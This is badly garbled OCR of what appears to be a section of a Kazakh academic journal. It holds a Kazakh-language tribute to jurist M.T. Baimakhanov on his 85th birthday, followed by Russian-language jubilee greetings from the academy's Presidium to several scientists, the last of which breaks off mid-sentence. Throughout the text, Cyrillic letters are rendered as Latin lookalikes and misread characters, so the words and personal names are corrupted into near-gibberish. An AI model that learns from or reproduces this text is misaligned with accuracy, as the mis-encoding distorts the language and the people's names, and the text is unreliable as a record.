BimixTi 6acmrel, medep YHBIMIACTHIPYIIEI FEUTBIMHU KaJp MadbIHIAYFa Ja epeKIle MoH Oep/Ii.

M.T.BaiimaxanoB Kazakcran Pecrmybnukacel FputbiM  AkageMusichl  (GUIIOCOQUs KoHE KYKBIK
WHCTHUTYTHI XaHbIHAArbl xoHe Ka3['3Y jkaHBIHIAFBI 3aH FBUIBIMAAPBIHBIH JIOKTOPBI JOPEKECIH KOpFay
JKOHIHJIET1 apHaWbl TUCCEPTAIMSIIBIK KeHeCTi 12 JKbLTFa XKYBIK OacKapbl.

Mypar Toxi-MypaTyiel 9 HOKTOPIBIK JKYMBICTBIH FhUIBIMH keTekmrici Oomasl  (A.K.Kotos,
A.A Martroxun, P.X.Makyes, P.A.Ilomonpuropa, E.M.Ao6etinun-nunoB, XK./|.Byceipmanos, T1.6.). On
70-TeH aca 3aH FBUIBIMAAPBIHBIH KaHAW-IATTapbIHBIH JKeTekmrici Oonapl, oHbIH imiHge H.U.Axyes,
A.Y .beticenona, XK.JI. byceipmanos, ['.C.)XKycymosa, M.C./loceimoexoB, M.A.N6parumoB, B.A.Kamrox-
ueii, B.I'.Kum, A.K.Kotos, A.Kyarneyos, ['.I1.JIynapes, P.X.Maxkyes, A.A.Mo-uyanos, E.K.Hypneiicos,
A.B.PosenuBaiir, P.C.CakueBa, K.CorbaeBa, JI.A.Caxu-moBa, H.II.CkaukoBa, JI. B.Cokoibckas,
H.X.Yonoga, 3.E.lllepemerneBa, T.0.

M. T. baiimaxonos Kazakcran Pecrrybmukacer JKorapsr arrectanusibik KomuccuschiHbIH (OKAK )3ag
FBUIBIMIApBl OOWBIHIIA IKCIEPTTIK KeHEeCiHiH Teparachl Oonapl. Kem skpuimap KP OiniM xoHE FBUIBIM
MUHCTPJIIT MEMIIEKET JKoHEe KYKBIK WHCTHTYTHIHBIH 3aH FHUTBIMIAPEI OOWBIHINA JTOKTOPJBIK JAACCEPTAIUS
KOPFAWTBIH KEHECTIH Teparachl koHe Mmyteci, on-Dapbadbu areiHAarbl Kazak VITTBIK YHUBEPCHUTETIHIH
casicaTTaHy FhUIBIMBI OOWBIHIIIA IOKTOPJIBIK AUCCEPTAIUs KEHECIHIH MyIeci, Kazak ryMaHUTapIIBIK-KYKBIK
yHUBepcUTeTi, «Oainer» orapel MekteOi koHe Kazak akameMUsUTBIK YHHUBEPCHTETTEpIiH OipikkeH
IOKTOPJIBIK AWCCEpPTAIlds KOpFay KEHECiHIH Teparachkl Ooimbl. KBIpFBI3 MEMIIEKTTIK YHUBEPCHUTETI
JKaHBIHAFbl KaHIUAATTHIK JUCCEPTAIMIIAp KOPFAyAbIH cajlaapajblK KeHeCiHiH Mmymeci ae 6omabl. KP
¥ nrThIK FBUTbIM AKaJIeMUSCBIHBIH DKCIEPTTIK KEHECI MYIIeCi OOJIBIN KbI3MET aTKapPIbL.

TamaHTTH FaIBIM, YCTa3 peTiHme akageMuk M. T. baiiMmaxaHOBTHIH OUTIKTI FEUIBIMH MEKTEO1 KaJIbITI-
TacThl. AKaJIEMUKTEP/IH HISKIpTTEpl OyriHme Oemenai ykiMeT Oackapy, MHUHHUCTPJIK, BEIOMCTBOJIBIK
OacHIbLUIBIFBIHIA, OipKaTapbl KOFAphl OKY OPBIHAAPBIHAA JKETEKIIUIK eTyJe, FhUILIMH MEKeMelep/Ie,
FBUTBIM JKYHECiH/Ie JTaya3bIMIbI, Mpodeccop, TOIEHTTIK Jopexke/ie KbI3MET aTKapyaa.

M. T. baiiMaxaHOB FBUIBIMH 3€PTTCY KYMBICTAPBIH XXYPTi3yMeH FaHa IMEKTENTCH JKOK. 3epTTey
JKYMBICTapBIH FBUIBIMU-TICAATOTHKAIIBIK, YHBIM-IaCTBIPYIIBIIBIK — TOPOUE JKOHE OKY-9iCTEMETIK KbI3MET-
TEPMEH YIITacThIpa OuIi.

OnbIH OYJ1 KBI3METi Oip »KOFaphl OPHBIMEH MIEKTeIMeE I, ce6e0l MyHail TaTaHT HeCiHiH, opacaH 30p
O1TiMI1 — JKJIMBIYITTHIK MOH1 OOJYHI THIC.

1995 xbunbl eniMizaiH kaHa KoHCTUTyKumsicel KaObUIIAHBIN, KYLIiHEe €HreHHeH KeiliH, KoHcTuty-
usutblK COT TapaThuIbIN, OHBIH OopHBIHA KoHcTuTyrmsuiblk KeHec skyMmbIcka KipickeHHEH KediH Mypat
Taoxi-Myparyisl «KaitHap» yHUBEPCHTETIHIH IPOPEKTOPHI OOIBIN KBI3MET aTKapbl )KaHE 0ipa3 )BT OCHI
YHHBEPCUTETTIH Mpodeccopbl 60Taabl.

1996 xbuiel onm «llapacar» artel Kazak akameMusuibIK KYKBIK WHCTHTYTBIHBIH HETi3iH Kamay-
TIBIIAPABIH Oi1pi OOJTBI.

IIpodeccop M.T.BaiiMaxaHOBTHIH MEIArorThIK KbI3METiHIH 0ipa3 0eiri pecnyOJIMKaHbIH KYKbIK
calachlHJIa MaMaHAap AAaWbIHIAYIbIH OPTAJBIKTApPBIHBIH Oipi OomraH «Omninger» JKorapbl MekTeOiHIE
OOJIBITI, OHBIH FBHUIBIMH JKYMBICHI JKOHIHAETI MPOPEKTOPHI, mpodeccopsl Oomybl. CoHbIMEH Oipre Oip
yakpITTa Kazak MeMJIeKeTTiK KYKbIK YHUBEPCUTETIHIH PO eccopbl KbI3METIH JIE aTKAPIbI.

2005 xpuiman Mypat Toxi-Mypatysibl 0Cbl YHUBECUTETKE OipiKoJiaTa aybICHII, )KaHa acTaHaMBI3Fa
KOHBIC aynapnabl. MyHIa Ol TEOpHs KOHE MEMJIEKET TapUXbl, KYKBIFbI KaeapachiHbIH MEHrepyIIici, ai
2008 XpUTHaH OCHl YHUBEPCUTETTIH FRIIBIMH JKCIIEPTH3a KoHE Tanaay T bUIBIMU-3epTTeY MHCTUTYTHIHBIH
JUPEKTOPBl KbI3METiH atkapael. On OackapraH WHCTUTYT KP OmnineT MUHHCTPIITiHIH TamCBIPHICH
Ootiprama [lapmaMeHTTeH OacTarn XKeprilikTi aTKapylibl OpraHaapIbIH HOPMATHBTIK aKTiIepiHe FHUIBIMU
IKCIIEPTH3A KACAyMEH IIYFBUIIAHIbI.

Kadenpa meHnrepimici 6ona xypin, Mypat Toxi-MypaTyiisl e3 opinTecTepiMeH KallaHAa YKaKblH
KapbIM-KaTbIHACTa OOJIBII, OJ1 63 KBI3METIHJIE JKOFaphl YHBIMIACTHIPYIIBUTBIK KaOUIETIH KOPCETTI, aK KOHLI
Kaiimapbl MiHe3IMeH OipKaNBINITHI KaphIM-KAThIHAC JKacail 0Tyl MeH OUTIMIIIITiIMEH YNTi 00Jia OTBIPHIT,
e31 OackapraH kadeapa YXKbIMBIH 3aH FBUIBIMBIHBIH Ka3ipri ©3€KTI Macelieci OOWBbIHIIA CTYICHTTEpPTE,
MarmcTpaHTapra, aCIUpaHTTapFa, JOKTOPAHTTapFa TepeHaeTe OiaiM Oepyre KOJ JKETKi3/li, OChI MaKCaTThI
€H JKOFaphl Talam JeHrediHae KanplnTacTeipAbl. [legaror peTiHme cTyneHTTep ajablHIa Jopic OKY,
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OJIapMEH a3aMaTThIK — YITTHIK-MEMJICKETIIUIIIK TopOre Kyprizy MyMKIHIIUIITIH KanT xidepmeni. On oKy,
TopOWe, FHUIBIMH JKYMBICTAP OAFBITHIH YHBIMIACTHIPYIIBI JKOHE ICKEPIIKTIH THIMAI YITUIEpIH YChIHA
OineTiH Oecenai Oacibl peTiHae KOpiHii.

M. T. BaiimaxaHOB KeIl bLIIap KOCAIKBI KbI3MET peTiHae oan-Dapabu aTeiHaarsl Kazak yJITTBIK
YHUBEPCUTETIH/IE IOICHT 9HE PO eccop KbI3METTEPiH aTKAPIbL.

M. T. baiimaxaHoB KOFaMIbIK iCTEpIiH KOIl OachIHIA JKYpeTiH OenceHmi azamar. OHBIH KaKbIMac
FBUTBIMU-YHBIMIACTHIPBIYIIBUIBIK KOHE KOFaMIIBIK KbhI3METi TaH Kauaeipaabl. On kem xbUimaH Oepi
OCBIH/Iall ©T€ MaHBI3MIBI KOFaMJBIK KhI3METTEPMEH aiHanbicanbl. OHBIH FHUIBIMU-YHBIMIACTHIPYIIBLTHIK
JKoHe Oacmarepiik KbI3METi Je caH-camanbl. Atanm aiitcak, «lIpaBoBemenue» (Jlemmnrpam- CaHKT-
[eTepOypr) kypHaybl, ¥ITTHIK FhUIbIM AkageMusIChIHBIH «Xa0apiuby KypHabl, «MbIciby, «HOpuan-
yeckas raszeta», «[IpaBo u rocynapctBoy, T.0. KypHaIAAPbIHBIH PEAKOIIICTHS MYIIECI.

Axanemuk M. T. BaiimaxanoB 2006-2010 xwimimapbl Kazak MeMIIEKeTTIK 3aH YHUBEPCHUTETIHIH
«KYKBIK JKoHE MEMJICKET» KYPHAJBIHBIH 0ac peaakTOpbl OOJIbI, OJ1 )KOFAPhl OKY OPBIHIAPBIHBIH IIIH/IE
Kazakcrannarbl 3aH FRUIBIMIAphI OOWBIHIIA Oei1i Oacma OOk,

Mypat Toxi-Mypatynbel OipHemie Xbpul 00ibl pecnyOnuka FhuTbiM akageMHsSCHIHBIH «MeMJIeKeT,
JIEMOKpATHS KOHE KYKBIK JaMyBIHBIH 3aHJBUTBIKTAPED» aTTHI MPOOJIEMANBIK XKoHe YiiecTipy FrursiMu
KEHECIH, pecnyOnukanbikK «biliM» KOFaMBIHBIH KYKBIKTHIK OUTIMIEp CEKIUSCBHIH, FBUIBIM MEH TEXHHKA
canaceiHnarbl Ka3CCP MemitekeTTiK ChIANBIKTaphl s)keHiHmeri KomuTer Myteci 60IbI.

1976 xpiiman 6epi Ka3zakThlH cascu FRUIBIMIApP acCOIUSCHIHBIH Toparackl Mypat Toxi-MypaTyiel
alfHaJachIHIaFbIIAPFa IIEKCI3 alaIBIFBIMEH )KOHE J)KYMBICKA 0ap BIHTa-KirepiMeH KyJiail OepinreHirimex
epeKuIeNiHeTiH Oaciupliap KaTapblHa jKaTaAbl, Ke3-KeJITeH YXKBIMABIK iCTe ©3iHe ayblp KYKTi apTyFa
YMTBUIBIN TYPAThIH KapamnaibiM KacCHETiHIH 631 JaHFa3a «9KIMKYMapIBIKTBIH) Kapama-Kapchl KepiHici
EKEHJIIT1H AdJIeNiece Kepek.

Axkamemuk M. T. BalimaxaHOB FBUIBIM MEH OUTIMHIH XaJIbIKapaJlbIK Aopekene skahaHmaHyra
OaitmanbicThl KazakcTaH 3aH FRUIBIMBIHBIH O€EN/Ii OKiJIi PETiHIE 9P KBUILAAPHI FAIBIMAAP, CyAbSIap/bIH,
nektopiaapabiH Kypameiaga I'JIP, Ilompma, ¥neiopuranms, Mekcuka, JXamonwms, IIsetimapus, AKIII,
Opannust, bonrapus, Taitnann, 1.0 ennepae OONIb.

Mypat Toxi-MypaTyibl JleMOKpaT-3aHrepiiep/IiH XajblKapallblK accolua-ChIHBIH (Akup, 1975),
XI (Mackey, 1979), XII (Puo-ne Xaneiipo, 1982), XIII (ITapmk,1985), XIV (Bammarron, 1989) xonrpec-
TepiHe casCH FhUIBIMIIAPBIH XalbIKapallblK aCCOIUACHIHBIH MOCIMXaThIHA, COHali-aK, 0acKa J1a KeNTereH
OypbIHFBI BYKiNOAAKTHIK oHE bIHTHIMAKTACTHIK €NACPIHIH FHUIBIMA KOH(EPEHIUIIAPbIHA, COHBIH
IITiHAe KOFaMIIBIK FBUIBIMAAPABIH METOIOJOTHSIIBIK Mocelenepi KeHiHJerl ByKiTomakThIK FBhUIBIMU
koH(pepentusara (Mackey, 1977) kaTeIichIm, OastHIaManap MeH xabapiramanap skacaasl. OChl YIKEH MOCITH-
XaTTapra KaTbICyIIbUIAp MiKipJiepiHe KaparaHia, OarmapMmainsik cunarra Oosran M. T. balimaxaHOBTHIH
ce3jepiHe FaHa eMec, onapibl XabaplaynblH ©31 OasHIaMaIlbIHBIH FEUIBIMH aTaK-IoPEeKECiHIH JKOFaphl
OoubIn, eciMi KeHiHeH Oenrin OOJIFaHOBIFBIH aMKbIHAaMApl. FajJbIMHBIH mHegaroruka MakJgaHbIHIaFbI
KBI3METI JI¢ COHIAMIIBIK COTTI OOJIIbI, OJ1 KONTEreH >Kbuiaap Oolibl Kazak MEMJICKETTIK YHUBEPCUTETIHIH
3aH (haKyJbTETIH/IC MEMIICKET )KOHE KYKBIK TEOPUSCHI TypPaJIbl I9PICTEP OKBIIEI.

Fruteivu jkoHE KOFaMIIBIK KBI3METTE CiHIpreH eHOeTi KoHe 3aH FRUIBIMBIH JAMBITYAaFbl YIIKEH Yieci
ymin Mypar Toxi-Myparynsl Baiimaxanos «[lapacar» opaeHimeH, OipHelne MenanbiaepMeH, JKoraprel
KeHnecriy ym kypMeT rpamMo-TanapbiMeH Mapanartansl, lllokan YonmuuxaHoB skoHe Axmer balTypchiHOB
aTBIHIAFHI CHIMIIBIKTAPBIHBIH HeTepi OOIBIT TaObLIA B

Axanemuk Mypat Toxi-Mypatyiel baiimaxanoB KazakcTan TapuxblHIAa €3 OpHBI Oap apaarep
azamar. En eMipiHiH HeTi3ri calachIHbIH Oipi — FBUTBIM MEH OKY, OUIIMIH @pKeHIEeTyTe eNeyJli yiec KOCHII
KeJle KaTKaH OUTIKTI MaMaH peTiHze el KypMeTiHe OejeHinm keneni. On ©3iHIH MEpeHTONBIH IIbIFapMa-
IIBUTBIK KYII-KyaThl KeMEJACHIeH, oMl e XY3ere achIpaThlH MOJ Oilap MEH HIesIapra TOJBI Ke3iH[e
Kapchl anyaa.

Byn kynaepi Mypat Toxi-Mypatyisl 85 acka TOJNFaH MEPEHTOMBIH CalHKaIbl Tipiiri, CaiMaKThl
OOJMBICBIMEH, HIBIFAPMAIIBUIBIK KYII-KyaThl MOJ OWJap MEH HIesuTapFa TOJBI IIaFbIHIA KapChl allybl
0opiMi3Jli KyaHTaIbl.

Paywanoex Oo6cammapos, KP ¥I'A-nviy koppecnondenm-myuweci,
@unocogus 2biLIMOAPBIHLIY OOKMOPLL, NPOpeccop,
Omipacan Ilanmuikos, cascu vliblMOapbiHblE 00KMOPbL, NPOgeccop
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JIoKTOpY FOpPUANYECKUX HAyK, Mpodeccopy,
akageMuky HarmonanbHoit akagemun Hayk PK

BAHMAXAHOBY
Mypary Tagxxu-MyparoBuuy

85 aer

YBaxaemsblit Mypat Tamxkn-MypatoBny!

IIpesunnym HarnmonanpHOM akagemun Hayk PecnyOmmku KaszaxcTaH HCKpeHHE M cepIedHO
no3xapasisieT Bac co cinaBHBIM 100uieeM — 85-1eTueM co AHS pOoKACHUs!

Bame nMs Kak BHJIHOTO Y4YE€HOTO, TAIAHTIMBOIO PYKOBOIWTENS, OPraHMW3aTOpa HAyKH, YeIOBEKa
BBICOKOH JpyAHILIMH, MHOTO CIENaBIIEro s Pa3BUTHA IOPUIMYECKON HayKH, HIMPOKO HM3BECTHO HE
TOJIBKO B HallIell cTpaHe.

I'me ©b1 Bol HU pabortamu — 3ammaupekropom WHcTHTyTa hrnocoduu u nmpaBa AH KazCCP, 3age-
IOYIOLUIMM OTAEJIOM TIOCYJapCTBEHHOI'O IpaBa M COBETCKOTO CTPOMTENLCTBA, OOLIEH TEOpUU U TIpaBa;
mupextopoM MuctutyTa dunocodun n npaBa AH Kazaxckoii CCP; npencenatenem KoHCTUTYIIHOHHOTO
Cyna Pecriyonuku Kazaxcran; mpopekTopoM 1o HaydHOH padoTte yHuBepcurera "KaitHap'; mpopekTopom
Bricmieit mkonel mpaBa "Ominet" — Bl Bcerma cTOsUIH Ha MMO3WIIAH 3aIUTHI ITpaB U CBOOO] Ka3aXCTAHIICB.
Bamm Hambonee KpyIHbIE TOCTHXKEHHSI, 2 IMEHHO KOMILIEKCHas! pa3paboTka mpoliieM MpOTUBOPEUHil B
pa3BUTUM TPaBOBOM HAJICTPONKM NpPU COLMAIM3ME, a TAaK)Ke HMCCIEAOBAaHHE BOIPOCAa O CTAHOBJIEHUU
MIPaBOBOT0O IOCYAapcTBa M KOHCTUTYLMOHHOM Tpouecce B PK ocTaBAT Hensrmagumslil ciex B HCTOPUU
HAIIIeTo TOCy/IapCTBa.

Pesynprarel Bammx Hay4HBIX HccnepoBaHui omyOnukoBaHbel B Oonee yeM 300 paborax, KOTOpbIe
SBJISIFOTCS TPAKTHYECKHM DPYKOBOJACTBOM HE TOJIBKO Uil FOPHUCTOB, HO M OOIIECTBEHHBIX M TOCyIap-
CTBEHHBIX JIedTelIel Halllel CTpaHBbl.

YBaxaewmbrit Mypar Tamxu-Myparosud! B nenp Bamero cimaBHoro robues sxenaem Bam kpenkoro
3I0POBBSl M CUACTDS, BCET0 HAWIIydlIero BammM poaHeIM u OIM3KUM, OJaromnoayyusi, JHEPTrHH U CHII Ha
JIOJTHE TONb!!

Ipezuouym HAH PK
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JlokTopy (pusnko-maTeMaTHUECKUX HayK, podeccopy,
akageMuky HarmonanbHoit akagemun Hayk PK

XAPUHY
CranucnaBy HukomnaeBuuy

80 et

Yeaxaemblii Cranuciaas Hukosraesuu!

Ilpesumnym HammonansHOW akamemun Hayk Pecmyonmukm KazaxcraH HCKpeHHE W CepACYHO
no3npasisieT Bac co ciaBHBIM 100meeM — 80-1eTueM co AHS pOKACHUs!

Bame uMa — BHAHOTO YYEHOTO, TaJaHTJIMBOTO PYKOBOAMTENS, OpPraHM3aTopa HAyKH, dYeloBeKa
BBICOKOH 3pYIMLMH, MHOTO CHENAaBIIEro Uil Pa3BUTHS (DU3MKO-MAaTEeMaTHUECKOW HAyKH, MIHNPOKO
U3BECTHO HE TOJIBKO HAIIEeH CTPaHBI.

I'ne 661 Bl Hu pabotanu — 3amaupexTopa B Macturyte matematuku AH Kazaxcrana, akageMukoM-
cekperapem Otnenenus ¢uz.-mar. Hayk ¥ wieH [Ipesuamyma HammonamsHOW Akamemuu Hayk Kazax-
cTaHa, compezacenareneM Komurera mo HayyHO-TEXHHYECKOMY COTPYAHHYECTBY MexIy PecryOmukoit
Kazaxcran u Hcmamckoii Pecnyonmukoii [akucran, 3amectutenem npencenatenss OtaeneHus (QU3UKH,
maremaTukn W uHpopmatuku HAH PK, mpodeccopom Kazaxcrancko-bBputaHcKoro TeXHHYECKOTO
yHHBepcUTeTa — Bbl 0THaBaIy BCe CUITbI, 3HAHHUS U SHEPTHIO TIOOMMOMY ATy .

Bamu nambonee KpymHbBIE IOCTH)KEHHS B OONACTH MaTEeMAaTHYECKOTO MOJENMPOBAHUS TEIUIO-
(U3NUECKUX U ANEKTPOMAarHUTHBIX SIBJICHUH HAaBCETAa OCTaBsT IPKUH Clie B HAyKe.

Pesynprarel Bammx Hay4dHBIX HccliefoBaHW omyOnukoBaHel B Oonee yeM 300 paborax, K HHUM
oOparratorcst Bamy yueHuky U ocieoBaresin, KOTOpble TPYAATCS He TOJIBKO B HAIllICH CTpaHe.

YBaxkaembrit CranuciaB Hukomaesua! B nenns Barmero cimaBHoro robuies xemaem Bam kpemkoro
3I0POBbSl M CHACTHsI, BCETO HAWIy4lIero Bammm poaHbIM U OJIM3KKM, OJIaromosrydusi, SHEPTUM U CHUII Ha
JOJTHeE TONb!!

Ipesuouym HAH PK
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70 JieT YWieHy-KOPPeCHOHAEHTY
HanuonauabHoii akanemun Hayk Pecrmy0imkn Kazaxcran
A.M. OMBAEBY

OmbaeB Adpmpaxman MoaganaszapyJsl poanics 1 aaBaps 1949 roga B ayne Kapa-Konslp (HbIHE
uM. [llammmm Kanmnaskosa) OTteipapckoro paiiona TypkecTaHCKo# 00macTu.

AbmupaxMan MomaHazapyisl — JOKTOP CEIbCKOX03sHCTBeHHBIX Hayk (1991), mpodeccop (1994),
«KazakcranubiH eHOek ciHipreH kKbizMeTkepi» (1996), Jlaypear ['ocynapcTBenHoi npemun PecmyOmuku
Kazaxcran B o0nacTu Hayku, TeXHUKU 1 o6pa3oBanus (2005), MHocTpanuslii uieH Poccuiickoli akaneMun
HayKk OTHeNneHHs CeTbCKOXO03UCTBEHHBIX Hayk — Cekius 300TexHHH W BerepuHapuu (2007), xaBaiep
opnena «Kypmer» (2008), «3acmykeHHBIN paOOTHUK CEIhCKOro Xxo3siictBa Monrommm» (2010), neict-
BUTEJBHBIN YICH-aKaJeMUK MOHIOJBCKOM aKaJieMUU CEbCKOXO3SHCTBEHHBIX Hayk (2013), «3aciysxeH-
HBI n300peTarens PecryOonmuku Kazaxcram» (2014), uneH-koppecnoHaeHT HarmoHanbHOUM akameMun
Hayk PecrryOonukn Kazaxcran (2017).

MexayHapoaaeiM Oubmuorpadudeckum neHtpoM (r. KemOpumk, BenukoOpuranus) ero damums
BKJIFOUEHA B CIIMCOK BblAaronuxcsa yueHslx Mupa 2008 roma ¢ HarpaxkaeHueM 30J0TOH MeIainblo OTIHYUS
3a BKJIaJl B YCUJICHHE COBMECTHOM MporpamMmmbl KoHCynbTaTUBHOW rpynmbl MexXIyHapOJHBIX CEIbCKO-
XO3SIUCTBEHHBIX HccienoBanuii st LlentpanbHoit Asum u FOxxHoro KaBkasza, HarpakiaeH Menaibio
MexaynapogHoro Hayynoro nentpa MKAPJA (2011), AmepukanckuMm OuOnuorpauuecKuM LEHTPOM
HarpaxkJieH TuIuioMoM Anp0epra DHIITeHHa.

Ilocne oxonuanust AnMa-AtuHCKOro opaeHa TpymoBoro KpacHoro 3HamMeHH 300BETEpHHApPHOTO
HetutyTa B 1971 romy AOmupaxman Monnanasapyisl OmOaeB Hayan TpPyNOBYIO OEATEIBHOCTH C
JOJDKHOCTH CTapliero JJabopaHTa OTeNa CeIEeKLUMH U TeHEeTHKH YePHBIX KapaKyJlbCKuX oBen Kazaxckoro
HUWMU kapakyneBoactBa (ropoa UnMKeHT).

C 1973 roga mo 1976 rox — actmupant Bcecoroznoro HUM xxuBotHOBOCTBA (T. MOockBa). C 1976 ro-
na o 1991 ron — Miagmnii HAy9YHBIH COTPYIHUK, CTapIINi HAYYHBIH COTPYIHHUK, 3aBeIyIOLINHA 1abopa-
TOpPHUEH MPOMBIIIJICHHOTO TIPOU3BOACTBA KapaKyJlIbyd — OapaHUHBI M MOJIOKA, 3aMECTUTENb AUPEKTOPA T10
Hayke KasHUMU kapakyneBojicTBa.

C 1992 rona nmo 1994 rox — rmaBa Cy3akckoil paiioHHOM aaMmuHucTpanuu OxHo-KasaxcraHckoi
obmactu. C 1994 rox mo 2017 rox — nupekrop Kazaxckoro HUU kapakyneBoncTBa, reHepaIbHBIN AUPEK-
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top PI'TI «tOro-3amagHplii Hay4YHO-IIPOU3BOJICTBEHHBIM LIEHTP CEIBCKOTO XO3SUCTBa», T€HEPAJbHBIN
mupexkrop TOO «tOro-3anmagasii HUW cenmbckoro XxosstiicTBay, reHepanbHbI mnupektop TOO «HOro-
3amagueiiit HWMM XKMBOTHOBOACTBa M pacTeHHEBOJACTBa», TeHepalnbHBIH aupektop TOO «Kazaxckuit
HHMWN x1BOTHOBOACTBA U KOPMOIPOU3BOACTBAY.

A. M. OmbaeB — aBTop 422 Hay4YHBIX TPYAOB, B TOM umcie 4 MoHOrpaduil. 14 ero KHAT OMyOIUKO-
BaHBI B BEIYIINX OTCUECTBEHHBIX M 3apYOEKHBIX HAYUYHBIX JKypHAJIaX W W3JIAHUSAX U CTAU JOCTOSHUEM
MHUPOBOH HayYHOH OOLIECTBEHHOCTH. B 3TMX Tpyzax HalUId OTpaXCHHE MHHOBALMOHHBIE M TEXHOJO-
THYeCKH pa3pabOTKH 10 OBIIEBOACTBY, BepOIIOAOBOJACTBY, MOJOYHOMY W MSCHOMY CKOTOBOCTBY,
KOHEBOJACTBY. MMeeT 57 aBTOPCKHMX CBHACTEILCTBA HA HM300PETCHHSI W MATCHTHI. SIBISETCS aBTOPOM
ANMMTayCKOro 3aBOJCKOTO THIA KapaKyJbCKHUX OBEIl KapaKalMaKCKOro Cypa PaclBETKH «IIaMIIbIPaK»
(1995), Banpkymckoro 3aBOJICKOTO THIA KapaKyJbCKUX OBEL OKPAacKd cyp Oyxapckuil cepedpucToit
pacuBetkn (1995), Tapryraiickoro 3aBOACKOTO THIIA KapakKyJIbCKHUX OBEIl CypXaHIapbHHCKOTO cypa
O6ponzoBoit pacuBeTku (1996), Cy3akCKOTO 3aBOJCKOTO THUIA KapaKyJIbCKHX OBEIl YEPHOU OKpacKu
saketHoro THmna (1997), OTpapckoro BHyTPHIIOPOJHOTO THUIIA KapaKyIbCKUX oBel Oemnoi okpacku (2007),
TacTHHCKOTO BHYTPHUIIOPOJHOTO THIIA KapaKyJbCKAX OBEIl YEPHOM OKpPACKH KapaKyJIbYOBOTO THIA
(2011), KyMKeHTCKOTO 3aBOACKOTO THIIA KapaKyIbCKUX OBEI] CEPOi OKpacku, roiryooit pacuserku (2011),
OpnrabacuHCKON KypIIO4HO-MsicO-canbHOM mopoas! oBer (2013), bagamckoro BHYTPHIOPOAHOTO THIIA
Opnabacunckoit mopozas! (2017), cnocoba momydenus Oenmoit kapakynbun (1988), crmocoba kopmiteHUs
omert (1992), cmocoba otkopMma oBremarok (1992), cocoba oTbopa BHICOKOIIPOIYKTUBHBIX BEpOIIOIOB
MscHoro HampasieHus (2005), cmocoba moacdera BONOCSHBIX (DOJUTUKYJIOB y ATHAT CMYIIKOTO TOpOJa
(2009). IlpuauMan yyacTue B CO3JaHMU M PACHPOCTPaHEHWH HOBOW aThIPAyCKOW MOPOJBI KypAIOYHBIX
OBEIl CMYIIIKOBO-MACO-CaTbHOMN npoayKkTHBHOCTH (1998).

bonpmoe Buumanue A.M. OmOGaeB ynemsyi W yjAemsieT NMOATOTOBKE HaydHBIX KajpoB. Ilox ero
HaYYHBIM PYKOBOACTBOM 3aIIMIICHB! 9 JOKTOPCKHUX M 28 KaHIUIATCKUX TUCCEPTALHM.

A.M. OM0aeB MpUHAMIECKUT K YHCITY BUIHBIX HAayYHBIX M OOIIECTBEHHBIX Hesteneili KazaxcraHa,
KOTOpBIE BHECIH BECOMBIM BKJaJ B CTaHOBJIEHHE IIPOJIOBOJILCTBEHHOI Oe3omacHocTH PecmyOmmku
Kazaxcran 3a Gojee 25 JIETHIOI MCTOpHUIO He3aBHcHMOCTH. CleyeT OTMEeTUTh ydactue AOaupaxmana
OmMmbaeBa B paboTe pelakIMOHHON KOJUIETMH JKYPHAJOB «ArpapHas Hayka» (T. MockBa), «300TEXHH»
(r. MockBa), [oxmanel HarmonanbHo# akamemun Hayk Pecryonmukm Kaszaxcram (r. AmMaten), M3Bectus
HarmmonansHoit akanemun Hayk Pecryonuku Kazaxcran: Cepus arpapHbix Hayk (T. Anmatsl), «BecTHHK
Kupruszckoro HaunonansHoro arpapHoro yHuBepcuteTay (T. bukexk).

Cepneuno moznpaBnsieM AOmupaxmadH MomjgaHazapyiibsl ¢ roOWieeM, JKelaeM eMy KpEermKoTo 3110-
POBBS, 60POCTH, OJIATOIOTYIHS i MHOTHX JIET TBOPUYECKOW paOOTHI BO CIaBy HAYKH.

Ipesuouym HAH PK
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JlokTOpYy MEIMIIMHCKUX HayK, nmpodeccopy,
yjeHy-koppecnonaeHty HammonanbHoit akagemun Hayk PK, [Tpesuaenty
Kazaxcranckoi Accounanuu penpoyKTUBHON MEIULIMHbBL, TUPEKTOPY
MexyHapoaHOro eHTpa KinHudeckoi penpoaykroaoru «PERSONAY,
Otnuunuky 3apaBooxpanenus PecnyOnuku Kazaxcran,

YJIEHY PEAAKIIMOHHOW KOJUIETUU KYPHAJIOB
«3Bectus HAH PK. Cepust Ouonoruueckast 1 MEAUIUHCKAS,
«Jlokmanpl HaimonanbHo akagemun Hayk PecyOnuku Kazaxcrany

JJOKHIUHY
BsiuecniaBy HoranoBuuy

60 get

YBa:kaemslii BssueciniaB HoranoBuu!

IIpesumnym HammonansHOW akamemunm Hayk Pecmyonmukm KazaxcraH HCKpeHHE W CepACYHO
no3apanisier Bac co ciiaBHBIM roOuieeM — 60-neTreM co JHs POKIACHUs!

Me1 xopomio 3HaeM Bac kak BUJHOTO y4€HOIO, TAIAHTIUBOTO PYKOBOIUTEINS, OpPraHU3aToOpa HAYyKH,
YyeJ0BEeKa BBICOKOM 3pYyAHLIMM, MHOTO CIENABIIEro Uil Pa3BUTHS MEOULMHCKON HAyKH, B TOM 4YHCIE U
PENPOIYKTUBHON MEIUIIMHBI HE TOJIBKO HAIIeH CTPAaHbBI, HO U B MHUPE.

Br1 sBnseTech mepBBIM B HaIllCH CTpaHe, KTO Ha Jele CyMesl MPEeAOCTaBUTh JIOASM IOMOIIs B
00peTeHny cYacThsi MaTEPUHCTBA, CEMBH, 32 UTO Bam GeckoHedHO OnaromapHb! Bamm MHOTOYHCIEHHBIE
MaueHTsl 1 ux Jnetd. Llentp xmmandeckor penpomykroiorun «PERSONAy, kotopslit Bel Bo3rnasmsere,
SIBJISIETCSI LIGHTPOM, TJ€ MPOBOJAATCS YHUKAIBHBIE ONEPAIiU C YAUBUTEIBHBIMU PE3yIbTaTaAMU.

[Ipu Bceit Bamreli 3aHITOCTH HEOOXOIUMO OTMETHTH OOJBIIYIO OOIIECTBEHHYIO paboTy, KOTOpoi Bet
3aHMMAETECh KaK WICH PEAKOJIJIETHH psija MEAULIMHCKUX XKypHaioB B Poccun u B Kazaxcrane, Ilpe3unent
Acconuaniuy npeacTaBuTeNbeTs apmanesruueckux ¢pupm B PK; Ipesunent Kazaxcranckoit acconnanuu
penponykTtuBHOM Menuuuubl; [Ipesunent Eskeromnoro MexnyHapogHoro koHrpecca Kaszaxcranckoit
accolMaly penpoyKTUBHON MEAULIMHBIL.

Pesynprarel Bammx HaydHBIX HCClieOBaHMN OmyOinkoBaHbl B Oojiee yeM 200 paborax, 5 mero-
MIMYEeCKUX peKoMeHaanusax, Bam mpuHamiexat Oonee 10 m3o0peTeHHMi W MATEHTOB B 00JacTU PEmpo-
